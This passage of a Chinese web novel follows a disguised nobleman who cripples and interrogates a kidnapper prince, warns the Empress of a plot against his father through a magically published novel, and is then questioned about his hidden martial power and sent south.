她虽然害怕得浑身发抖,但看到装扮成自己的江凡要被带走,保护欲瞬间压倒了恐惧,竟下意识地想要挺身而出!
这突如其来的变故让江凡和面具人都是一愣。
江凡心中暗叫一声‘傻丫头’,但心中却是一暖。
这小妮子,真是感动死老子了,不枉老子拼了命想护住你。
他连忙暗中示意她别冲动,同时迎向面具人的目光,努力挤出带着哭腔的声音:
“你…你们到底想干什么?我…我爹是吏部主事,你们若是求财,我爹一定会…”
第089章 从了本公子
“闭嘴!”
面具人不耐烦地打断她,对身后一名宗师示意了一下。
那名宗师高手会意,身形一晃,出现在江凡面前,伸手就要强行带人!
江凡担心周婉如做出傻事,于是连忙提醒:
“不用担心我,照顾好自己!”
说完,她立即放弃挣扎,跟着两人离开。
易容成周婉如的江凡被两名黑衣人一左一右‘护送’着,沿着狭窄通道向洞穴深处走去。
火把的光影将三人的影子拉得忽长忽短,如同鬼魅。
他表面上一副柔弱无助的模样,暗中却将【敛息诀】运转到极致,宗师中期的神识悄无声息地扫描着周围的环境。
通道曲折向下,岔路众多,守卫明显比外围更加森严,几乎每隔十步就有一名先天好手暗中潜伏。
更深处,他隐约感知到两股异常强大的气息,至少是宗师中期!
这让他心中凛然,靖王在此地投入的力量,远超他的预估。
最终,他们停在一扇厚重的石门前。
一名黑衣人上前,有节奏地敲击了几下,石门缓缓滑开,露出里面一个更为宽敞、甚至带着几分奢华的石室。
石室四壁镶嵌着夜明珠,散发着柔和的光晕,地上铺着厚厚的兽皮毯,甚至还有一张石榻和一张石桌,桌上摆放着酒壶杯盏。
石室中央,背对着门口,站着一名身着锦缎华服、身形挺拔的男子。
他同样戴着一张遮住全脸、只露双眼的银色面具。
但无论是衣料的考究,还是那自然而然流露出的、久居人上的气场,都显示出其身份非同一般。
两名黑衣人将江凡推进石室后,便躬身退了出去,石门再次无声合拢。
石室内只剩下江凡和那华服面具人。
华服面具人缓缓转过身,银色面具下的目光充满占有欲,上下打量着眼前这个‘瑟瑟发抖’的‘绝色佳人’。
他刻意改变了声线,声音沙哑:
“你…就是镇国公世子江凡的未婚妻,周婉如?”
江凡心中冷笑,竟然是为了这层关系!
他强压下一脚踹飞对方的冲动,努力模仿着周婉如那柔弱的声线,带着颤音回道:
“是…是民女。不知…不知尊驾是何人?将民女带至此地,所为何事?”
他一边说,一边暗中评估对方的实力——气息浮而不凝,真气驳杂,顶多先天中期!
果然是萧昇这个废物!
就这点能耐,也敢学人玩**逼宫?
面具人似乎很享受这种掌控他人命运的感觉,他踱步上前,逼近江凡,目光更加肆无忌惮:
“我是谁,你不必知道。你只需知道,你的生死,如今在我一念之间。”
他顿了顿,语气带着一丝戏谑和威胁,
“听说…女帝已经下旨,暂缓了你和江凡的婚事?”
江凡心中一动,顺着他的话,脸上适时地露出几分‘委屈’,低声道:
“是…陛下…陛下觉得江世子年纪尚轻,当以国事为重…”
他这话半真半假,既符合外界所知,又暗示了自己对这桩婚事的‘不满’。
萧昇闻言,面具下的声音也带上了一丝兴奋:
“哦?这么说…周小姐对那江凡,也并无多少情意了?”
江凡‘怯生生’地看了他一眼,又迅速低下头,声音细若蚊蚋:
“父母之命,媒妁之言…婉茹一介女流,岂敢有何想法?只是…只是镇国公府势大,家父…家父得罪不起…”
他完美演绎了一个被家族利益裹挟、身不由己的弱质女流形象。
“镇国公府?呵!”
萧昇不屑地嗤笑一声,语气中充满了狂妄,
“很快,这京城…就没有什么镇国公府了!至于那个纨绔江凡…哼,他也活不了多久了!”
江凡心中猛地一沉!
杀意瞬间涌上心头!
但他强行克制住,脸上露出震惊和恐惧,声音发抖:
“你…你什么意思?!江世子他…国公爷他…”
萧昇见‘她’被吓住,虚荣心得到了极大满足。
或许是觉得胜券在握,或许是急于在这‘美人’面前炫耀实力,他压低了声音得意说道:
“告诉你也无妨!江撼岳那老匹夫,奉命去南疆平乱,本就是我们设下的调虎离山之计
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!南疆那边,早已布下天罗地网!
他这一去,注定有去无回!等他一死,镇国公府树倒猢狲散,那个废物江凡,还不是任由本王…呃,任由本公子捏圆搓扁?”
虽然萧昇及时改口,但那个‘王’字,以及这熟悉的、毫不掩饰的恶毒语气,让江凡瞬间确定了对方的身份——靖王世子,萧昇!
果然是他!
而更让江凡怒火中烧的是,他们竟然算计到了自己那便宜老爹头上!
虽然穿越而来,与江撼岳相处时间不长,感情谈不上多深厚。
但那个看似粗豪、实则对他暗含关心的老爹,终究是他在这个世界的血脉至亲!
靖王父子竟敢如此处心积虑要害他性命?!
简直罪该万死!
一股冰冷的杀意从江凡心底升起,几乎要冲破【敛息诀】的封锁!
萧昇完全没察觉到‘猎物’身上散发出的危险气息,反而以为‘她’是被这骇人听闻的消息彻底吓傻了。
他看着眼前这张我见犹怜的俏脸,心中邪火更盛,忍不住又上前一步,伸手就想去摸‘周婉如’的脸蛋,声音也变得淫邪起来:
“美人儿,别怕!只要你乖乖从了本公子,以后荣华富贵,享之不尽!比跟着那个废物江凡,强上千百倍!”
就是现在!
就在萧昇的手指即将触碰到‘周婉如’脸颊的刹那!
‘周婉如’原本低垂的眼眸骤然抬起!
那双原本应该清澈柔弱的杏眼中,爆射出凌厉光芒!
所有的恐惧、柔弱在瞬间消失得无影无踪,取而代之的是一种俯瞰蝼蚁般的冰冷与杀意!
“狗东西!你也配?!”
一声完全不属于周婉如的、带着男子特有的低沉与怒火的叱喝,在石室中炸响!
萧昇被这突如其来的变故和眼神吓得魂飞魄散,动作一僵!
就在这电光石火的间隙!
‘周婉如’动了!
快如鬼魅!
他腰肢一拧,右腿狠狠地向上撩起!
目标直指萧昇的**!
撩阴腿!
简单,粗暴,有效!
“嗷——!!!”
第090章 老爹的危机
一声凄厉的惨嚎从萧昇喉咙里爆发出来!
他感觉下半身传来一阵无法形容的、撕心裂肺的剧痛!
鸡飞蛋打!
他整个人弓着身子,双手死死捂住裆部,眼珠暴突,直接瘫软下去!
但这还没完!
江凡眼中寒光不减,一击得手,毫不停留!
左掌如刀,凝聚着精纯的真气,闪电般拍向萧昇的小腹丹田处!
“噗!”
一声沉闷的响动!
萧昇只觉得丹田气海瞬间崩溃!
苦修多年的先天真气如同泄了气的皮球,疯狂外泄!
修为被废!
紧接着,江凡一步踏前,右手探出,精准无误地掐住了萧昇的脖子,将他拎了起来!
这一切发生在兔起鹘落之间,从江凡暴起发难,到萧昇被废掉修为、掐住咽喉,总共不过两三个呼吸的时间!
“呃…呃…”
萧昇因为剧痛和窒息,脸色由红变紫,喉咙里发出嗬嗬的怪响。
双腿在空中无力地蹬踹着,银色面具下的双眼充满了痛苦、恐惧和难以置信!
他完全无法理解,一个弱不禁风的女子,怎么可能爆发出如此恐怖的力量和速度?!
这根本不是周婉如!
他是谁?
“砰!”
石室门被猛地撞开!
守在门外的两名宗师高手和数名黑衣守卫听到里面的惨叫声,情知有变,不顾一切地冲了进来!
当他们看到石室内的一幕时,全都惊呆了!
只见那个本该柔弱可欺的‘周小姐’,正单手掐着世子的脖子,将他提在半空!
世子殿下蜷缩着身体,痛苦地抽搐着,身下裤子血迹斑斑,气息微弱像是随时会断气!
而‘周小姐’站在那里,衣裙虽略显凌乱,但身姿挺拔,眼神冰冷,周身散发着一股令人心悸的可怕气势!
“放开世子!”
为首那名宗师中期高手又惊又怒,厉声喝道,却投鼠忌器,不敢上前。
江凡冷冷地扫视着冲进来的众人,手上微微用力,掐得萧昇翻起了白眼,用周婉如的脸,却发出冰冷威严的声音:
“全部退出去!否则,我立刻拧断他的脖子!”
他的声音不大,却带着一种不容置疑的杀意,让那些久经沙场的黑衣人都感到一阵寒意。
“你…你到底是谁?!”
另一名宗师初期高手惊疑不定地喝问。
江凡懒得回答,另一只手伸出,闪电般摘下了萧昇脸上的银色面具!
面具下,露出一张因为极度痛苦而扭曲变形的脸——正是靖王世子,萧昇!
“果然是你这条阉狗!”
江凡嗤笑一声,语气充满了鄙夷,
“靖王世子?好大的威风!竟敢**朝廷命官家眷,谋害国公,其罪当诛!”
看到世子的真容暴露,而且修为被废,命悬一线,那些黑衣人顿时慌了神!
世子若死,他们所有人都得陪葬!
“退!快退出去!”
宗师中期高手当机立断,咬牙命令道。
一群人只能不甘地、一步步退出了石室,但依旧紧紧守在门口,不敢远离。
江凡掐着萧昇的脖子,将他像死狗一样拖到石室中央,远离门口,确保自己处于相对安全的位置。
他低头看着手中这个因为剧痛和恐惧不断颤抖的废物,心中没有半分怜悯,只有冰冷的杀意。
老爹在南疆遇险的消息,让他如坐针毡。
必须尽快从此人口中撬出更多情报,然后…想办法脱身,通知女帝和老爹!
“全部给我退出山洞!”
江凡现在还顶着周婉如的样子,但说出的话不带任何感情。
赵晟有些惊恐,看到还在犹豫的高手,连忙呵斥:
“还愣着做什么?赶紧退出去!”
高手们对视一眼,纷纷退出去,但堵在了山洞口。
这里没有别的出路,江凡想逃出去也不容易。
等人离开后,江凡单手掐着萧昇的脖子,将他死死按在石壁上。
“快说,你们要怎么对付镇国公?”
“这...”
赵晟有些迟疑,显然并不想说。
嘭!
咔嚓!
江凡没有废话,一脚踢断了萧晟一条大腿。
“啊---”
萧昇因为断腿和丹田被废的剧痛,整张脸扭曲成了青紫色,眼神里充满了濒死的恐惧和哀求。
眼前这种绝美的脸,此时不亚于恶魔
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,让他感受到巨大的恐惧。
这个女人是真的敢下手啊!
“说!对付镇国公的具体计划!南疆的伏击点在哪儿?有哪些人参与?一字不差地说出来!否则,我让你求生不得,求死不能!”
江凡的声音冰冷,带着杀意,与他此刻柔美的外表形成了极其诡异的反差。
他脚下微微用力,碾在萧昇那条被踩断的大腿伤口上。
“啊——!!我说!我说!饶命!!”
钻心的剧痛瞬间摧毁了萧昇最后一丝侥幸和心理防线,他涕泪横流,语无伦次地嘶喊道:
“是父王!是父王和南疆‘赤焰军’残部勾结!赤焰军当年**撼岳…被镇国公**,怀恨在心!
这次南疆骚乱就是他们挑起的!父王…父王在军中的内应谎报军情,将镇国公引到了‘落魂涧’!
那里地势险要,早已布下了天罗地网!至少有…有三名宗师后期的高手埋伏!还有强弓硬**、毒瘴…噗!”
他话未说完,江凡又是一脚踹在他胸口,让他喷出一口鲜血,免得他嚎叫得太响。
落魂涧!
三名宗师后期!
强弓毒瘴!
江凡的心沉到了谷底!
这分明是必杀之局!
老爹虽然也是宗师后期巅峰,战力强横,但明枪易躲暗箭难防,陷入这种精心布置的陷阱,凶多吉少!
必须立刻把消息传出去!
让女帝派人救援!
否则就来不及了!
可是,现在自己身陷囹圄,外面强敌环伺,如何传递消息?
杀出去?
带着一个废人萧昇,面对至少两名宗师和无数守卫,还要保护其他手无缚鸡之力的人质,成功率微乎其微!
而且周婉如他们还在山洞,肯定会**人灭口!
唯一的办法,还是‘逍遥公子’!
江凡眼中闪过一丝决绝!
他猛地一记手刀砍在萧昇后颈,将其打晕。
然后像拖死狗一样,将他拖到石室的阴暗角落,确保从门口无法直接看到。
他深吸一口气,心神瞬间沉入系统空间!
下一刻,笔墨纸砚出现在他手中。
他直接趴在地上,疯狂书写起来...
第091章 与父王无关
这一次,他毫无保留,将萧昇供出的阴谋——
靖王勾结南疆叛军、在落魂涧设伏谋害镇国公江撼岳的详细计划、地点、参与力量,原原本本、清晰无比地写入了《深宫秘恋》的最新章节!
同时,他也再次强调了人质被转移到的这个山洞的具体位置和守卫情况,希望朝廷火速派兵救援,并即刻警示南疆镇国公!
写完最后一个字,他立刻提交!
心中默念:女帝,你可一定要信!
一定要快啊!
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(2000份),投放至京城及周边区域,优先投放至关键人物(萧璇月、兵部、南疆急递铺等)附近…投放中…】
看着发送成功,江凡却松了口气。
最让他惊喜的是优先发放到南疆,希望能第一时间出现在老爹身边。
有之前税银案的例子,老爹看到一定会重视的!
现在,他能做的都已经做了,剩下的,就是等待,以及活下去!
就在这时,被打晕的萧昇悠悠转醒,恰好看到江凡手中笔墨纸砚凭空消失的一幕。
一个恐怖的念头如同闪电般击中了萧昇!
“你…你…笔墨…话本…你…你是逍遥公子?!!”
他嘶哑着,眼珠几乎要瞪出眼眶!
他终于明白了!
为什么逍遥公子无所不知!
为什么话本总能提前预警!
原来这个神秘的作者,一直就在他们身边!
不,他现在是周婉如的样子!
这到底是怎么回事?
江凡缓缓转过头,看着满脸惊骇的萧昇,嘴角勾起一抹弧度:
“猜对了。可惜没有奖励。”
他此刻也无需再伪装声音,恢复了本来的声线,虽然顶着周婉如的脸,但那眼神和语气,已然是江凡无疑!
萧昇如坠冰窟,浑身冰冷!
“江凡!竟然是你!之前刺杀你的几个高手,也是被你杀的?”
萧昇彻底明白了,江凡根本不是传言中的纨绔!
他知道了如此惊天秘密,江凡绝不可能让他活着离开!
“放心,我现在不会杀你。”
江凡仿佛看穿了他的心思,冷冷道,
“你还有用,是我活着出去的护身符。”
他现在需要挟持萧昇,拖延时间,等待救援。
只要女帝的人马一到,自己再解决了萧昇。
……
皇宫,紫宸宫。
萧璇月揉了揉发胀的太阳穴,心中莫名地有些烦躁。
江凡失踪的消息像一块石头压在她心上,虽然已派出了大量人手搜寻,但至今未有确切消息。
那个看似玩世不恭的家伙,虽然总是惹麻烦,但若就此殒命,她竟觉得有些…空落落的。
她下意识地伸手探向枕边——指尖忽然触碰到一抹熟悉的纸质触感!
萧璇月凤眸骤然收缩,猛地将枕下那本突然出现的书册抽出!
正是《深宫秘恋》!
墨迹犹新!
她的心猛地一跳!
迫不及待地翻开!
当看到开篇关于‘人质转移至XX山洞’的详细描述时,她尚能保持镇定。
但当她看到后面关于‘靖王勾结南疆赤焰军残部,于落魂涧设伏谋害镇国公’的惊天阴谋时,她的脸色瞬间变得煞白!
落魂涧!
三名宗师后期!
毒瘴强弓!
这分明是绝杀之局!
“逍遥公子…你…”
萧璇月的手微微颤抖,心中掀起了惊涛骇浪!
这消息是真是假?
若是真的,镇国公危在旦夕!
若是假的…后果同样不堪设想!
但联想到之前话本屡次应验,以及靖王近日的异动…
宁可信其有,不可信其无!
“云暮!!”
她猛地站起身,声音急切,
“速传兵部尚书、暗卫大统领、禁军大统领!八百里加急,启用最高级别密令,即刻发往南疆镇国公大营!警告落魂涧有伏!
令其万万小心,或速速撤离!同时,调集所有可用之供奉高手,由暗卫统领亲自带队,按话本所示地点,火速驰援山洞,解救所有人质!不得有误!”
“是!陛下!”
云暮感受到女帝身上散发出的凛冽杀意,不敢有丝毫怠慢,立刻领命而去。
一道道命令从紫宸宫发出,整个庞大的帝国机器以前所未有的效率运转起来!
南疆的信使带着皇帝的密令和逍遥公子的预警,骑上最快的马,冲出了京城!
而皇宫深处,数道强横的气息冲天而起,在暗卫统领的带
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领下,如同利剑般射向城外山洞方向!
萧璇月站在巨大的疆域图前,目光死死盯住南疆‘落魂涧’的位置,玉手紧握,指节发白。
江撼岳…一定不能有事!
还有江凡…你小子,给朕撑住!
……
山洞外,气氛剑拔**张。
以两名宗师为首的黑衣人将洞口围得水泄不通,却投鼠忌器,不敢强攻。
就在这时,一阵急促的马蹄声和衣袂破空声由远及近!
紧接着,一道威严而带着震怒的声音在山谷中炸响:
“逆子!还不给本王滚出来!”
只见靖王萧恒,在一群气息彪悍的侍卫簇拥下,大步流星地走来。
他面色铁青,眼神冰冷,周身散发着令人窒息的威压!
他的目光扫过洞口的黑衣人,最终定格在那紧闭的洞口,厉声喝道:
“萧昇!你这孽子!竟敢背着我做出如此大逆不道、**朝廷命官家眷的勾当!我萧恒没有你这样的儿子!从今日起,你我父子之情,恩断义绝!”
洞内的江凡和刚刚被惊醒的萧昇闻言,都是心中一凛!
靖王这老狐狸,竟然来撇清关系了!
萧昇脸色惨白,眼中充满了绝望和难以置信。
父王…竟然如此绝情?
洞外的靖王继续义正辞严地表演:
“洞内的各位公子小姐,本王教子无方,致使这逆子犯下滔天大罪,惊扰诸位,本王在此赔罪了!
请诸位放心,本王定会将这逆子擒拿,交由陛下发落,给天下人一个交代!”
他这话,看似大义灭亲,实则是将**的罪名全扣在了萧昇一个人头上,把自己摘得干干净净!
同时,也是在暗示萧昇——把罪责扛下来!
萧昇瘫在地上,身体因恐惧和绝望而剧烈颤抖。
他知道,父王这是要弃车保帅了!
他若认罪,或许母妃、弟弟还能有条活路;他若不认,恐怕立刻就是灭门之祸!
在极度的恐惧和父王长期的积威下,他几乎是本能地嘶喊出声,声音带着哭腔和绝望的顺从:
“父王!儿臣知错了!是儿臣鬼迷心窍!是儿臣一人所为!与父王无关!与靖王府无关啊!求父王…给儿臣一个痛快吧!”
他这话,等于当众认下了所有罪名!
第092章 如何脱险的
洞内被关押的其他人质听到这番对话,个个面如土色,噤若寒蝉。
他们不傻,自然明白这是靖王的弃卒保帅之举。
但谁敢在这个时候出声质疑一位权势滔天的亲王?
江凡心中暗骂一声‘老狐狸’!
这靖王果然狠辣无情!
他肯要么知道萧昇被自己废掉,已经无法继承王位,要么女帝的援军快到了,他这番表态是要把锅都扔给废物儿子。
这两手准备,不愧是老狐狸。
如此一来,萧昇作为人质的价值也大减!
而且,靖王下一步,很可能就是灭口!
果然,只听靖王语气一转,变得‘痛心疾首’:
“既然你已认罪,为父…便替你了结这罪孽,以免辱没门风!来人!进去将这逆子…就地正法!”
他特意加重了语气,杀意凛然!
“轰!”
他身边的两名大宗师高手得令,再无顾忌,周身真气爆发,直接撞开石门,冲了进来!
目标直指瘫在地上的萧昇!
至于挡在萧昇身前的‘周婉如’,在他们眼中,不过是随手可以拍死的蝼蚁!
江凡心中大急!
萧昇现在还不能死!
他是人质,也是重要证人!
鬼知道萧昇**,下一个是不是他们这些人被灭口?
他必须挡住!
“滚开!”
江凡厉喝一声,周身气息不再隐藏,双掌齐出,迎向冲来的两名大宗师!
“嘭!嘭!”
两声闷响!
江凡身体倒飞出去,重重撞在石壁上!
他虽然卸去了大部分力道,但也受了内伤。
大宗师果然厉害!
只是他需要拖延时间,也不知道女帝的人赶到要多久。
那两名大宗师微微一怔,没想到这‘周小姐’竟然有如此修为?
但旋即杀心更盛!
此女必须灭口!
两人再次扑上,招式狠辣,直取江凡要害!
眼看江凡就要殒命掌下!
“住手!”
“靖王!你想**灭口吗?!”
数道怒喝声如同晴天霹雳,从山洞外传来!
紧接着,几道身影快如闪电般冲入石室,挡在了江凡身前!
为首一人,气息渊深似海,赫然也是大宗师修为,正是皇宫暗卫大统领!
他身后跟着数名宗师供奉!
援军到了!
女帝的人果然赶到了!
暗卫大统领目光扫过石室内的情况,最后落在洞口脸色阴沉的靖王身上,冷声道:
“靖王爷!陛下有旨,所有人质需安全带回!世子萧昇乃重要人犯,需交由陛下亲自审讯!还请王爷…稍安勿躁!”
靖王看着突然出现的皇宫供奉,眼角剧烈抽搐了一下,心中又惊又怒!
女帝的人来得比他预料得还要快,都是那个该死的逍遥公子!
自己的一切计划,都会第一时间在书里出现,而且今天更新频率很快。
他强压怒火,脸上挤出一丝‘悲痛’和‘无奈’:
“原来是暗卫统领大人!本王…本王也是心痛这逆子所作所为,欲大义灭亲,以正国法家规!既然陛下有旨,本王自当遵从。”
他嘴上说着遵从,眼中却闪过一抹厉色!
就在所有人都以为危机暂时解除,暗卫统领准备上前擒拿萧昇的刹那!
异变再生!
一直沉默站在靖王身后阴影中的一名灰衣老者,毫无征兆地动了!
他身形如同鬼魅,快得超出了所有人的反应!
目标并非暗卫统领,也非江凡,而是——瘫在地上、奄奄一息的世子,萧昇!
只见他屈指一弹,一道细微的乌光,瞬间没入了萧昇的眉心!
萧昇身体猛地一僵,双眼暴突,脸上充满了惊恐和难以置信,死死地盯着自己的父王,喉咙里‘咯咯’两声,便彻底软到,气绝身亡!
眉心一点朱红,迅速蔓延开一片乌黑!
死无对证!
靖王竟然当着皇宫供奉和所有人的面,杀了自己的儿子!
斩断了最后一条可能指向自己的线索!
“晟儿!!”
靖王发出一声‘悲怆’的惊呼,扑到萧昇尸体前,老泪纵横,
“你这又是何苦啊!为父…为父本想留你一条生路啊!”
表演痕迹十分拙劣,让所有人都想翻白眼。
暗卫统领和众供奉脸色铁青!
他们万万没想到,靖王竟敢如此猖狂,在他们眼皮底下**灭口!
但对方动作太快,他们根本来不及阻止!
而且,萧昇已死,死无对证!
江凡靠坐在石壁下,看着眼前这幕父杀子的惨剧,心中寒意大盛!
好一个靖王!
好狠的心肠!
好毒的手段!
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>为了保全自己,连亲生儿子都可以毫不犹豫地牺牲!
此獠不除,国无宁日!
一场轰轰烈烈的救援,最终以世子萧昇的死无对证告终。
一切罪名都被死鬼儿子顶替,靖王直接成为一个刚刚知道真相的‘受害者’。
虽然损失了一个儿子和一个重要据点,但他根基未损。
而江凡虽心有不甘,却也知道眼下想彻底除掉靖王不是时候。
还有比这更重要的事情...
他立即返回山洞,找到周婉如她们关押的石室,然后大喊:
“女帝派高手救我们了,大家快出去。”
听到这话,所有人都急匆匆的跑了出去,很快只剩下他们两个。
江凡一边脱衣服一边说道:
“快点,咱们换回来。”
周婉如很听话,将外套脱下,等换好之后,看着江凡输入真气帮她恢复容貌,眼神一直异彩连连。
江凡受不了她这眼神,赶紧拉着她的手出去。
在暗卫的护送下,众人踏上了返回京城的路。
一路上,周婉如看向江凡的眼神都快拉丝了...
皇宫,御书房。
烛火通明,却气氛凝重。
劫后余生的公子小姐们已被各自府上接回安抚,靖王对各个官员进行赔礼道歉,一副任打认罚的恭敬态度。
偌大的御书房内,只剩下端**的女帝萧璇月,垂手侍立的云暮。
以及站在下首、垂着头、心思各异的江凡与周婉如。
周婉如偷偷抬眼,飞快地瞟了一眼身旁的江凡。
山洞中那惊心动魄的一幕幕在她脑海中挥之不去。
那个顶着她脸庞、却爆发出惊人实力、冷静果决、在绝境中护她周全的身影,与眼前这个看似有些局促不安的纨绔世子,形成了极其强烈的反差。
她的心跳不由自主地加快,脸颊微微发烫,一种莫名的情愫缠绕心头。
如果一开始只是对江凡感觉好奇,那经此一事,她的心已经彻底**凡占据。
她暗下决心,回去定要央求父亲,无论如何也要促成这门亲事!
这样的夫君,才是她周婉如意中人!
萧璇月的目光最先落在周婉如身上,语气平和:
“周小姐,此番受惊了。山洞之中,究竟发生了何事?你与江世子,是如何脱险的?细细道来,不得遗漏。”
第093章 藏得也太深
周婉如心中一紧,她本能地想替江凡隐瞒修为的秘密。
她福了一礼,声音带着一丝后怕:
“回陛下,臣女…臣女当时害怕极了,只记得那些贼人凶神恶煞,后来…后来不知怎的,外面就打了起来,一片混乱…
再后来,就有宫里的高手冲进来救了我们…多亏陛下派兵及时,臣女等才能侥幸逃生…”
她巧妙地将重点引向了外面的救援,对石室内具体的惊险过程,特别是江凡出手以及身份互换之事,含糊其辞,语焉不详。
萧璇月凤眸微眯,不置可否,目光投向江凡:
“江爱卿,你呢?你一向机灵,在山洞中,可曾发现什么异常?或者说…做了什么…特别的事情?”
她特意在‘特别’二字上加重了语气。
江凡心中暗叹,知道该来的总会来。
周婉如的维护让他感动,但女帝不是那么好糊弄的。
毕竟当时自己被带走,很多公子小姐都看到的。
与其等她查出来,不如自己主动坦白一部分,争取主动。
他上前一步,脸上露出‘惭愧’和‘后怕’,拱手道:
“陛下明鉴!臣…臣有罪!臣隐瞒了陛下!”
“哦?”萧璇月眉梢一挑,“你隐瞒了朕什么?”
“臣…臣隐瞒了修为!”江凡硬着头皮道,
“在山洞中,情急之下,臣…臣与周小姐互换了衣衫,易容成了彼此的模样!由臣…扮作周小姐,去应对贼首的盘问探查!”
“江世子!”
周婉发出一声惊呼,用手掩住了嘴,没想到江凡竟然坦白了。
萧璇月眼中闪过一丝了然,但更多的却是玩味和探究:
“易容?互换身份?江爱卿,你何时学会了这等江湖伎俩?而且…朕若没记错,那贼首身边可有宗师高手守护。
你一个‘文不成武不就’的纨绔,是如何在虎狼环伺之下,不仅保全自身,还能…嗯?”
她没有说破,但意思不言而喻。
江凡心中凛然,知道最关键的问题来了。
他连忙道:
“陛下圣明!此事…此事说来也是臣的造化!臣前些时日,机缘巧合,遇到一位云游的老神仙!他见臣…见臣虽然顽劣,但或许尚有几分可塑之资。
便以无上法力,为臣易经洗髓,改善了根骨资质,并传授了臣一些粗浅的防身功夫和…和一些微末的易容敛息之术!
臣这才...这才有了些许自保之力!若非如此,臣此次定然在劫难逃!臣谢陛下洪福,谢老神仙恩德!”
他这套说辞半真半假,将修为和技能的来源推给虚无缥缈的‘老神仙’,是最好也是最常见的借口。
不管你们信不信吧,反正我自己信了!
“老神仙?易经洗髓?”
萧璇月重复着这两个词,凤眸深邃,看不出是信还是不信。
她沉默片刻,忽然对周婉如温言道:
“周小姐今日受惊不小,先回府歇息吧。朕已派太医在府中等候,为你诊脉安神。今日之事,关乎朝廷体面,还望周小姐谨言慎行。”
周婉如知道女帝这是要支开自己,单独询问江凡了。
她担忧地看了江凡一眼,见他微微点头,才盈盈一拜:
“臣女遵旨,谢陛下关怀。臣女告退。”
说完,一步三回头地退出了御书房。
御书房内只剩下三人,气氛更加凝滞。
萧璇月站起身,缓缓踱步到江凡面前,目光紧紧盯着他的眼睛,声音带着巨大的压迫感:
“江凡,现在没有外人了。告诉朕,你的修为…到底到了何种地步?还有…你,究竟是不是…逍遥公子?”
最后几个字,如同惊雷,在江凡耳边炸响!
他心脏猛地一缩,但脸上却瞬间堆满了茫然和委屈,叫起撞天屈来:
“陛下!冤枉啊!臣…臣怎么可能是逍遥公子?!臣连《三字经》都背不全,平日里最讨厌的就是读书写字!
碰一下笔杆子都觉得头疼!那逍遥公子学富五车,才华横溢,臣给他提鞋都不配啊!臣对灯发誓:臣若有半句虚言,天打雷劈!”
他表情真挚,语气激动,将一个‘学渣’被误认为‘学霸’的憋屈演绎得淋漓尽致。
萧璇月紧紧盯着他,试图从他眼中找出一丝一毫的破绽。
然而,江凡的眼神‘清澈’而‘坦诚’,毫无心虚之色。
她想起之前暗卫的汇报,江凡在宫中监视下确实毫无写作迹象。
而且他那跳脱的性子,也实
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在难以和笔下那般老谋深算、洞悉世事的逍遥公子联系起来。
心中的怀疑,不禁又动摇了几分。
她冷哼一声,不再纠缠逍遥公子的问题,转而逼问修为:
“好,就算你不是逍遥公子。那你的修为呢?说实话!有多高?”
一旁的云暮也好奇地竖起了耳朵。
“修为...大概三四层楼那么高...”
“说人话!”
江凡知道修为这事瞒不住了,再装傻反而惹人生疑。
他挠了挠头,露出一副不好意思的表情:
“回陛下,臣…臣蒙老神仙厚爱,侥幸…侥幸突破到了宗师中期。”
他故意说得轻描淡写,仿佛只是运气好。
“宗师中期?!”
纵然萧璇月心中已有猜测,亲耳听到确认,仍是忍不住倒吸一口凉气!
一旁的云暮更是美眸圆睁,俏脸上充满了难以置信!
弱冠之龄的宗师中期!
这简直是骇人听闻!
整个大夏朝明面上有此成就者,屈指可数!
而且还是出了名的纨绔,以前经常勾栏听曲儿的人,竟然有如此修为...
这小子…藏得也太深了!
萧璇月深吸一口气,强压下心中的惊涛骇浪,凤眸中寒光一闪,语气陡然转厉:
“江凡!你隐藏如此修为,潜伏在朕身边,究竟意欲何为?莫非…真有那不臣之心?!”
帝王心术,恩威并施,必要的敲打绝不能少!
江凡脸色一黑,赶紧撇清关系:
“陛下明鉴!臣对陛下的忠心天地可表!日月可鉴!臣隐藏修为,实属无奈啊!陛下您想,臣以前是个什么德行?
京城谁人不知哪个不晓?突然之间变成宗师高手,这…这说出去谁信啊?肯定以为臣是妖怪附体了!
臣只想安安稳稳当个纨绔,混吃等死,真的从未有过任何非分之想啊!陛下若是不信,臣现在就可以辞官归家,绝无怨言!”
他一边表忠心,一边再次祭出‘辞官’**,姿态放得极低。
看着他这副‘不求上进’的样子,再想想他平日里那副德行,萧璇月心中的疑虑倒是消散了大半。
这小子,似乎真的就只是…懒?
怕麻烦?
第094章 将婚事定下
萧璇月又是好气又是好笑,无奈地挥挥手:
“瞧你这点出息!堂堂宗师高手,动不动就想着偷奸耍滑,成何体统?”
江凡如蒙大赦,讪讪地笑着。
萧璇月坐回龙椅,沉吟道:
“既然你有宗师中期的修为,再让你做个小小的起居郎,确是屈才了。朕…”
“别!陛下!千万别!”
江凡一听要升官,脸都绿了,连忙摆手打断,
“臣就适合当个起居郎!每天点个卯,记录记录陛下您的英明神武,轻松又自在!什么重任,臣真的担不起啊!求陛下就让臣继续混日子吧!”
他这话倒是发自肺腑。
萧璇月被他这惫懒模样气得牙痒痒,凤目一瞪:
“混账!国家正值用人之际,你既有此能力,岂能置身事外?难道你就眼睁睁看着你父亲身陷险境,而无动于衷吗?!”
提到父亲,江凡神色一正,收起了嬉皮笑脸,沉声道:
“陛下,家父之事,臣岂能坐视?只是…不知陛下需要臣做什么?但有所命,万死不辞!”
他可以不想当官,但老爹的安危不能不管。
萧璇月见他态度转变,脸色稍霁,道:
“根据…最新消息,南疆局势诡谲,镇国公在‘落魂涧’一带恐遭埋伏。朕已派人八百里加急警示,但远水难救近火。
你既有宗师修为,朕命你,即刻前往南疆!会同朕派去的两名大宗供奉,务必找到镇国公,助他平叛脱险!此事若成,便是大功一件!”
前往南疆?救人?
这倒是符合江凡的意愿。
既能救老爹,又能暂时离开京城这是非之地,避开女帝的持续‘关注’和靖王可能的报复。
至于靖王...等救回老爹,再想办法收拾他。
而且多等几天,修为也能再次提升,只要实力足够,实在找不到证据,半夜去摘他西瓜也行。
他略一思索,便躬身应道:
“臣,领旨!定当竭尽全力,护卫家父周全!”
“很好!”
萧璇月满意地点点头,正要让他退下准备,却见江凡欲言又止。
“陛下,”江凡脸上露出一丝担忧,
“臣此番前往南疆,生死难料。只是…臣心中尚有一事牵挂。此次山洞之事,臣冒用了周小姐的身份,恐怕…已遭靖王记恨。
臣担心,臣离开之后,靖王会对周小姐不利…甚至,会牵连镇国公府家眷。恳请陛下,能否…多加照拂?”
他这话半真半假,既是为周婉如和家人求个护身符,也是试探女帝对靖王的态度。
萧璇月闻言,凤眸中闪过一丝复杂的情绪。
